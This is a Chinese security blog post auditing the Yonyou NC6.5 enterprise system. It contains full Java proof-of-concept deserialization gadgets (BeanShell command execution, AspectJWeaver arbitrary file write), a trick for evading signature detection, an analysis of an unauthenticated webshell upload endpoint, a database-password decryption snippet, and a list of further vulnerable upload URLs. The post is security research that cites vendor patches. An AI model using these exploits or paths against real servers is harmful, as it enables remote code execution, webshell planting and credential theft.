title: 用友NC6.5 代码审计 author: Bmth tags:
- null categories:
- 代码审计 top_img: 'https://img-blog.csdnimg.cn/ba1bb2f81ae84d8d82237b411ff945e8.png' cover: 'https://img-blog.csdnimg.cn/ba1bb2f81ae84d8d82237b411ff945e8.png' date: 2023-09-08 16:17:00
用友NC在java反序列化中也算典型的例子了,就简单的看一下
环境搭建参考: 用友nc6.5详细安装过程 用友6.5安装及配置注意要点
注意在配置数据源时,需要将 sqljdbc4.jar 包复制到 jdk/lib 目录下
添加远程调试:-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
先看看关键路由,在webapps/nc_web/WEB-INF/web.xml
<servlet>
<servlet-name>NCInvokerServlet</servlet-name>
<servlet-class>nc.bs.framework.server.InvokerServlet</servlet-class>
</servlet>
发现 service 和 servlet 均由 NCInvokerServlet 处理
跟进到lib/fwserver.jar
的nc.bs.framework.server.InvokerServlet
private void doAction(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String token = this.getParamValue(request, "security_token");
String userCode = this.getParamValue(request, "user_code");
if (userCode != null) {
InvocationInfoProxy.getInstance().setUserCode(userCode);
}
if (token != null) {
NetStreamContext.setToken(KeyUtil.decodeToken(token));
}
String pathInfo = request.getPathInfo();
log.debug("Before Invoke: " + pathInfo);
long requestTime = System.currentTimeMillis();
try {
if (pathInfo == null) {
throw new ServletException("Service name is not specified, pathInfo is null");
}
pathInfo = pathInfo.trim();
String moduleName = null;
String serviceName = null;
int beginIndex;
if (pathInfo.startsWith("/~")) {
moduleName = pathInfo.substring(2);
beginIndex = moduleName.indexOf("/");
if (beginIndex >= 0) {
serviceName = moduleName.substring(beginIndex);
if (beginIndex > 0) {
moduleName = moduleName.substring(0, beginIndex);
} else {
moduleName = null;
}
} else {
moduleName = null;
serviceName = pathInfo;
}
} else {
serviceName = pathInfo;
}
if (serviceName == null) {
throw new ServletException("Service name is not specified");
}
beginIndex = serviceName.indexOf("/");
if (beginIndex < 0 || beginIndex >= serviceName.length() - 1) {
throw new ServletException("Service name is not specified");
}
serviceName = serviceName.substring(beginIndex + 1);
Object obj = null;
String msg;
try {
obj = this.getServiceObject(moduleName, serviceName);
} catch (ComponentException var76) {
msg = svcNotFoundMsgFormat.format(new Object[]{serviceName});
Logger.error(msg, var76);
throw new ServletException(msg);
}
获得 pathinfo 后,如果是以/~
开头,截取第一部分为 moduleName,然后再截取第二部分为 serviceName,再根据getServiceObject(moduleName, serviceName)
实现任意 Servlet 调用
所以说有三种触发方法:
/servlet/monitorservlet
/servlet/~ic/MonitorServlet
/servlet/~ic/nc.bs.framework.mx.monitor.MonitorServlet
网上基本都是关于 CNVD-2021-30167 的,但其实 BeanShell 也存在反序列化漏洞
看到bsh.XThis
,它是bsh.This
对象的子类,在 This 的基础上添加了通用接口代理机制的支持,也就是 InvocationHandler,XThis 中有一个内部类 Handler,实现了 InvocationHandler 接口并重写了 invoke 方法
我们可以使用 XThis 中的 Handler 来动态代理 Comparator ,这样在反序列化 PriorityQueue 时会触发 Comparator 的 compare 方法,会调用 XThis 中 Handler 的 invoke 方法,由于这个动态代理类可以调用 Bsh 脚本中的方法,我们可以提前在 XThis 中的 NameSpace 中定义好一个 compare 方法,这样在就能在动态代理中完成调用
POC:
import bsh.Interpreter;
import bsh.NameSpace;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.Comparator;
import java.util.PriorityQueue;
public class BeanShell {
public static void main(String[] args) throws Exception{
String compareMethod = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{\"calc\"}).start();return new Integer(1);}";
Interpreter interpreter = new Interpreter();
interpreter.eval(compareMethod);
Class clz = Class.forName("bsh.XThis");
Constructor constructor = clz.getDeclaredConstructor(NameSpace.class, Interpreter.class);
constructor.setAccessible(true);
Object xt = constructor.newInstance(interpreter.getNameSpace(),interpreter);
InvocationHandler handler = (InvocationHandler) getField(xt.getClass(), "invocationHandler").get(xt);
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] {1,1};
setFieldValue(priorityQueue, "queue", queue);
setFieldValue(priorityQueue, "size", 2);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(priorityQueue);
oos.close();
ByteArrayInputStream bais = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
setAccessible(field);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static void setAccessible(AccessibleObject member) {
member.setAccessible(true);
}
}
最终调用栈:
start:1005, ProcessBuilder (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:606, Method (java.lang.reflect)
invokeOnMethod:-1, Reflect (bsh)
invokeObjectMethod:-1, Reflect (bsh)
doName:-1, BSHPrimarySuffix (bsh)
doSuffix:-1, BSHPrimarySuffix (bsh)
eval:-1, BSHPrimaryExpression (bsh)
eval:-1, BSHPrimaryExpression (bsh)
evalBlock:-1, BSHBlock (bsh)
eval:-1, BSHBlock (bsh)
invokeImpl:-1, BshMethod (bsh)
invoke:-1, BshMethod (bsh)
invoke:-1, BshMethod (bsh)
invokeMethod:-1, This (bsh)
invokeMethod:-1, This (bsh)
invokeImpl:-1, XThis$Handler (bsh)
invoke:-1, XThis$Handler (bsh)
compare:-1, $Proxy1 (com.sun.proxy)
siftDownUsingComparator:699, PriorityQueue (java.util)
siftDown:667, PriorityQueue (java.util)
heapify:713, PriorityQueue (java.util)
readObject:773, PriorityQueue (java.util)
漏洞修复: https://github.com/beanshell/beanshell/commit/1ccc66bb693d4e46a34a904db8eeff07808d2ced
移除了 Handler 类的 Serializable 接口
参考: ysoserial-beanshell(CVE-2016-2510) Java 反序列化漏洞(五) - ROME/BeanShell/C3P0/Clojure/Click/Vaadin
发现存在依赖 aspectjweaver-1.7.4.jar ,配合 commons-collections 存在一个 non RCE 的任意文件写利用链
在类org.aspectj.weaver.tools.cache.SimpleCache
中有一个继承 HashMap 的内部类 StoreableCachingMap
它重写了 HashMap 的 put 方法,传入的 key 为文件名,value 为写入文件的内容
写入文件的路径为this.folder + File.separator + key
,所以说只要能触发SimpleCache$StoreableCachingMap
的 put 方法就能执行写文件操作
在org.apache.commons.collections.map.LazyMap
的 get 方法中调用了 put 方法
最终的payload:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.charset.StandardCharsets;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class AspectJWeaver {
public static void main(String[] args) throws Exception{
String filename = "test.jsp";
String filepath = "./";
String filecontent = "test123";
Constructor ctor = getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Object simpleCache = ctor.newInstance(filepath, 12);
Transformer ct = new ConstantTransformer(filecontent.getBytes(StandardCharsets.UTF_8));
Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
setAccessible(keyField);
keyField.set(node, entry);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(map);
oos.close();
ByteArrayInputStream bais = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
public static Constructor<?> getFirstCtor(final String name) throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
setAccessible(ctor);
return ctor;
}
public static void setAccessible(AccessibleObject member) {
member.setAccessible(true);
}
}
调用栈如下:
writeToPath:253, SimpleCache$StoreableCachingMap (org.aspectj.weaver.tools.cache)
put:193, SimpleCache$StoreableCachingMap (org.aspectj.weaver.tools.cache)
get:152, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:120, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:362, HashMap (java.util)
put:492, HashMap (java.util)
readObject:309, HashSet (java.util)
也可以将原来的
Transformer ct = new ConstantTransformer(filecontent.getBytes(StandardCharsets.UTF_8));
改写成
Transformer ct = new FactoryTransformer(new ConstantFactory(filecontent.getBytes(StandardCharsets.UTF_8)));
用来绕过一些特征检测
参考: 自定义AspectJWeave gadget绕过serialKiller https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/AspectJWeaver.java
漏洞补丁:https://security.yonyou.com/#/noticeInfo?id=364 漏洞描述:通过非法调用相关uapim接口构造恶意请求从而上传webshell实现任意文件上传
这个洞其实在2022年就爆出来了
看到hotwebs/uapim/WEB-INF/lib/uapim-server-core-0.0.1.jar
,找到com.yonyou.uapim.web.controller.UploadController
的 doGroupTempletUpload 方法
@RequestMapping(
value = {"grouptemplet"},
method = {RequestMethod.POST}
)
public Boolean doGroupTempletUpload(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String groupid = request.getParameter("groupid");
String fileType = request.getParameter("fileType");
String maxSize = request.getParameter("maxSize");
String tempPath = XmlPathUtils.getHomeXMLPath("hotwebs-uapim-imfile-temp-", (String)null);
String filePath = XmlPathUtils.getHomeXMLPath("hotwebs-uapim-static-pages-" + groupid + "-", (String)null);
IMLogger.info("单据信息上传临时目录名:" + tempPath);
IMLogger.info("单据信息上传真实目录名:" + filePath);
DiskFileItemFactory factory = new DiskFileItemFactory();
factory.setSizeThreshold(10485760);
factory.setRepository(new File(tempPath));
ServletFileUpload upload = new ServletFileUpload(factory);
if (maxSize != null && !"".equals(maxSize.trim())) {
upload.setSizeMax((long)(Integer.valueOf(maxSize) * 1024 * 1024));
}
try {
List<FileItem> items = upload.parseRequest(request);
Iterator i$ = items.iterator();
while(true) {
FileItem item;
do {
if (!i$.hasNext()) {
return null;
}
item = (FileItem)i$.next();
} while(item.isFormField());
String fileName = item.getName();
String fileEnd = fileName.substring(fileName.lastIndexOf(".") + 1).toLowerCase();
if (fileType != null && !"".equals(fileType.trim())) {
boolean isRealType = false;
String[] arrType = fileType.split(",");
String[] arr$ = arrType;
int len$ = arrType.length;
for(int i$ = 0; i$ < len$; ++i$) {
String str = arr$[i$];
if (fileEnd.equals(str.toLowerCase())) {
isRealType = true;
break;
}
}
if (!isRealType) {
IMLogger.error("上传文件异常!文件格式不正确!");
return null;
}
}
String uuid = "head";
StringBuffer sbRealPath = new StringBuffer();
sbRealPath.append(filePath).append(uuid).append(".").append(fileEnd);
IMLogger.info("上传群组单据信息:" + sbRealPath.toString());
File file = new File(sbRealPath.toString());
FileUtil.makeDirectory(filePath);
item.write(file);
FileMeta filemeta = FileUploadService.upload((UFSClient)null, sbRealPath.toString());
String filePK = filemeta.getFilePK();
StringBuffer sb = new StringBuffer();
sb.append("window.returnValue='").append(fileName).append(",").append(uuid).append(".").append(fileEnd).append(",").append(file.length()).append("';");
sb.append("window.close();");
IMLogger.info("上传文件成功,信息:" + sb.toString());
}
} catch (Exception var22) {
Exception e = var22;
IMLogger.error("上传文件异常!上传失败:" + var22.toString(), var22);
response.setHeader("state", "fail");
try {
response.setHeader("error", URLEncoder.encode(e.getMessage(), "UTF-8"));
} catch (UnsupportedEncodingException var21) {
var21.printStackTrace();
}
return null;
}
}
虽然显示 fail 了,但还是在hotwebs/uapim/static/pages/test
成功写入shell
找到文件 ierp/bin/prop.xml
,里面包含数据库的连接信息
<databaseUrl>jdbc:sqlserver://192.168.111.137:1433;database=nc65;sendStringParametersAsUnicode=true;responseBuffering=adaptive</databaseUrl>
<user>sa</user>
<password>fhkjjjimdphmoecm</password>
<driverClassName>com.microsoft.sqlserver.jdbc.SQLServerDriver</driverClassName>
<databaseType>SQLSERVER2008</databaseType>
发现密码被加密了,需要进行解密
系统会调用middleware/mw.jar
中的nc.bs.mw.pm.MiddleProperty#decode()
方法进行解密
反射调用了nc.vo.framework.rsa.Encode
的 decode 方法
我们直接导入external/lib/basic.jar
进行解密
import nc.vo.framework.rsa.Encode;
public class DbPasswdDecode {
public static void main(String[] args) {
Encode en = new Encode();
System.out.println(en.decode("fhkjjjimdphmoecm"));
}
}
反序列化接口根据补丁还是很好找的,就不细说了,但利用需要相关的依赖,并不能通杀,所以接口再多也很鸡肋-v-
还有很多文件上传,都比较简单,就不多分析了
漏洞url:/mp/login/../uploadControl/uploadFile
漏洞补丁:https://security.yonyou.com/#/noticeInfo?id=342
漏洞描述:通过mp模块进行任意文件上传,从而上传webshell实现控制服务器,远程执行任意命令
漏洞url:/aim/equipmap/accept.jsp
漏洞补丁:https://security.yonyou.com/#/noticeInfo?id=281
漏洞描述:漏洞触发点在目标地址下/aim/equipmap/accept.jsp路径,构造POST数据包上传恶意文件
推荐一些技术文章: 某NC系统的命令执行漏洞ActionInvokeService的分析 用友NC历史漏洞(含POC) 用友nc远程命令执行漏洞分析 yonyou的一处JNDI审计